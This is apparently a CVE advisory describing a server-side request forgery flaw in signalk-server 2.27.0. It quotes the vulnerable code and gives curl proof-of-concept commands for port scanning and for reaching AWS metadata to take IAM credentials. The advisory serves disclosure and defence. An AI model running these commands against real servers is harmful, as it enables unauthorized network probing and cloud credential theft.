CVE-2026-55591

Signal K Server: Server-Side Request Forgery via Remote Connection Endpoints

Summary

signalk-server versions up to and including 2.27.0 contain a Server-Side Request Forgery (SSRF) vulnerability in three administrative endpoints used for remote Signal K server connection management. The makeRemoteRequest() function accepts attacker-controlled host, port, useTLS, and selfsignedcert parameters without any validation, allowing an attacker to force the server to make arbitrary HTTP/HTTPS requests to internal network resources, cloud metadata services, and other unintended destinations.

When security is not configured (the default state), these endpoints require no authentication.

Details

Vulnerable Function

The core vulnerability is in makeRemoteRequest() at src/serverroutes.ts:2483-2524:

function makeRemoteRequest(
  host: string,
  port: number,
  useTLS: boolean,
  selfsignedcert: boolean,
  path: string,
  method?: string,
  headers?: Record,
  body?: unknown
): Promise<{ status: number | undefined; data: string }> {
  const protocol = useTLS ? https : http
  return new Promise((resolve, reject) => {
    const options = {
      hostname: host,         // NO VALIDATION - attacker controlled
      port,                   // NO VALIDATION - attacker controlled
      path,
      method: method || 'GET',
      headers: {
        ...(headers || {}),
        ...(body ? { 'Content-Type': 'application/json' } : {})
      },
      rejectUnauthorized: !selfsignedcert  // Attacker can disable TLS verification
    }
    const req = protocol.request(options, (response) => {
      let data = ''
      response.on('data', (chunk: string) => {
        data += chunk
      })
      response.on('end', () => {
        resolve({ status: response.statusCode, data })
      })
    })
    req.on('error', reject)
    req.setTimeout(10000, () => {
      req.destroy(new Error('Connection timed out'))
    })
    if (body) {
      req.write(JSON.stringify(body))
    }
    req.end()
  })
}

Missing Validation

The function performs zero validation on the destination host. The following address ranges are all reachable:

• Loopback: 127.0.0.1, ::1, localhost
• RFC 1918 private ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
• Link-local / Cloud metadata: 169.254.169.254 (AWS EC2 instance metadata, GCP, Azure IMDS)
• IPv6 link-local: fe80::/10
• Any arbitrary external host: enabling the server as an open proxy

Authentication Bypass via Default Configuration

The endpoints are protected by addAdminMiddleware() (lines 2339-2345):

app.securityStrategy.addAdminMiddleware(${SERVERROUTESPREFIX}/testSignalKConnection)
app.securityStrategy.addAdminMiddleware(${SERVERROUTESPREFIX}/requestAccess)
app.securityStrategy.addAdminMiddleware(${SERVERROUTESPREFIX}/checkAccessRequest)

However, when security is not configured, the server uses dummysecurity.ts, where addAdminMiddleware is a no-op:

addAdminMiddleware: () => {},

This means on a default installation with no admin user created, all three endpoints are accessible without any authentication.

Additional Attack Surface: TLS Verification Bypass

The selfsignedcert parameter directly controls rejectUnauthorized:

rejectUnauthorized: !selfsignedcert

When an attacker sets selfsignedcert: true, the server will connect to any HTTPS endpoint without verifying the TLS certificate, enabling MITM attacks on the outbound connection.

Additional Attack Surface: Path Traversal in checkAccessRequest

The checkAccessRequest endpoint interpolates requestId directly into the URL path:

/signalk/v1/requests/${requestId}

An attacker can use path traversal (e.g., requestId: "../../other/endpoint") to target arbitrary paths on the destination host.

PoC

Target Setup

Set up a bare-metal signalk-server for testing (or use Docker to simulate):

docker run -d --name signalk-ssrf-poc -p 3000:3000 node:22-bookworm \
  bash -c 'npm install -g [email protected] && signalk-server'
Wait for startup
until curl -s http://127.0.0.1:3000/skServer/loginStatus 2>/dev/null | grep -q "status"; do sleep 10; done

Set the target variable:

TARGET=http://127.0.0.1:3000

Confirm "authenticationRequired":false in the loginStatus response before proceeding.

PoC 1: Loopback Connection (Self-Discovery)

curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}'

Response (confirms SSRF, the server connected to itself):

{
  "success": true,
  "authenticated": false,
  "server": {
    "id": "signalk-server-node",
    "version": "2.27.0"
  }
}

PoC 2: Port Scanning via Error Differentiation

# Open port (3000) — returns server data
curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}'
Response: {"success":true,"server":{"id":"signalk-server-node","version":"2.27.0"}}
Closed port (9999) — immediate ECONNREFUSED
curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"127.0.0.1","port":9999,"useTLS":false,"selfsignedcert":false}'
Response: {"success":false,"error":"connect ECONNREFUSED 127.0.0.1:9999"}
Filtered port — 10-second timeout then error
curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"10.0.0.1","port":22,"useTLS":false,"selfsignedcert":false}'
Response (after 10s): {"success":false,"error":"Connection timed out"}

The three distinct error responses allow an attacker to map internal network topology.

PoC 3: AWS Instance Metadata Service (IMDSv1)

On a cloud-hosted signalk-server (AWS EC2):

curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false}'

The server connects to the EC2 metadata endpoint. The response will contain the discovery JSON parse result, leaking metadata. For deeper paths, use checkAccessRequest with path traversal in requestId:

curl -s -X POST $TARGET/skServer/checkAccessRequest \
  -H "Content-Type: application/json" \
  -d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false,"requestId":"../../latest/meta-data/iam/security-credentials/ROLE_NAME"}'

Impact

• Internal Network Scanning: An attacker can probe internal hosts and ports. The response distinguishes between open ports (HTTP response returned), closed ports (connection refused error), and filtered ports (timeout after 10 seconds).
• Cloud Metadata Exfiltration: On cloud-hosted instances (AWS EC2, GCP, Azure), an attacker can reach the instance metadata service at 169.254.169.254 to steal IAM credentials, instance identity tokens, and other sensitive metadata.
• Internal Service Data Exfiltration: The testSignalKConnection endpoint returns the full response body from the target, allowing reading of data from internal HTTP services not otherwise accessible from the internet.
• Server-Side POST Requests: The requestAccess endpoint sends a POST request with attacker-controlled JSON body (clientId, description), enabling interaction with internal APIs that accept POST requests.
• Lateral Movement: In containerized or Kubernetes environments, the server can be used to access cluster-internal services, the Kubernetes API, or other containers on the Docker network.